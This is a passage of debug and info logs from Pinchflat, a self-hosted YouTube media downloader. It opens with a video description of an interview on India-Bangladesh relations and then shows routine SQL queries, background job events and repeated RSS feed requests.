Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 23:41:36.078 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=136.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 23:41:36Z], ~U[2026-01-10 23:41:36Z], 1] 23:41:36.079 [debug] QUERY OK source="media_items" db=0.7ms idle=136.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:41:36.082 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=137.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:41:36.130 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=181.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:41:36.199 [debug] QUERY OK source="tasks" db=59.4ms idle=60.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [102, 1, ~U[2026-01-10 23:41:36Z], ~U[2026-01-10 23:41:36Z]] 23:41:36.202 [info] {"args":{"id":1},"id":101,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":12476871,"event":"job:stop","queue_time":567129,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 23:41:43.356 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:41:43.356 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:41:43.357 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1890.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:41:43.359 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1892.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:41:43.361 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1894.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:41:43.362 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.3ms idle=1430.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:41:43.364 [info] Sent 200 in 7ms 23:42:00.542 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:01.758 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:31.761 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.544 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:01.763 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:31.765 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.546 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:01.767 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:10.806 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:44:10.807 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:44:10.809 [debug] QUERY OK source="sources" db=1.5ms idle=1341.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:44:10.811 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1343.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:44:10.813 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1346.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:44:10.814 [debug] QUERY OK source="media_metadata" db=0.7ms idle=531.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:44:10.815 [info] Sent 200 in 8ms 23:44:31.770 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.548 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:01.773 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:31.775 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.550 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:01.778 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:31.781 [info] {"source":"oban","duration":1842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.552 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:01.784 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:20.781 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:47:20.782 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:47:20.784 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1050.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:47:20.786 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=317.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:47:20.789 [debug] QUERY OK source="source_metadata" db=0.4ms idle=321.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:47:20.790 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.2ms idle=322.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:47:20.791 [info] Sent 200 in 10ms 23:47:31.786 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.553 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:01.789 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:31.792 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:48.891 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:48:48.891 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:48:48.908 [debug] QUERY OK source="sources" db=16.9ms queue=0.1ms idle=1424.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:48:48.910 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1442.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:48:48.912 [debug] QUERY OK source="source_metadata" db=0.2ms idle=966.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:48:48.913 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=445.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:48:48.913 [info] Sent 200 in 22ms 23:49:00.555 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:01.795 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:31.798 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.556 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:01.801 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:31.803 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.557 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:01.809 [info] {"source":"oban","duration":3168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:31.812 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.560 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:00.910 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 23:52:01.815 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:04.779 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:52:04.780 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:52:04.781 [debug] QUERY OK source="sources" db=0.6ms decode=0.1ms idle=1307.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:52:04.784 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1308.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:52:04.787 [debug] QUERY OK source="source_metadata" db=0.9ms idle=1312.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:52:04.788 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.4ms idle=1297.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:52:04.790 [info] Sent 200 in 10ms 23:52:31.818 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.561 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:01.820 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:31.822 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:49.754 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:53:49.754 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:53:49.757 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=1282.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:53:49.760 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1013.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:53:49.762 [debug] QUERY OK source="source_metadata" db=0.5ms idle=287.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:53:49.763 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.4ms idle=288.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:53:49.836 [info] Sent 200 in 82ms 23:54:00.563 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:01.824 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:31.826 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.566 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:01.829 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:31.831 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.567 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:01.834 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:31.836 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:36.528 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:56:36.529 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:56:36.530 [debug] QUERY OK source="sources" db=1.0ms idle=1044.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:56:36.532 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1046.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:56:36.533 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1030.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:56:36.534 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=48.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:56:36.535 [info] Sent 200 in 6ms 23:57:00.569 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:01.838 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:31.840 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.571 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:00.949 [notice] :alarm_handler: {:clear, 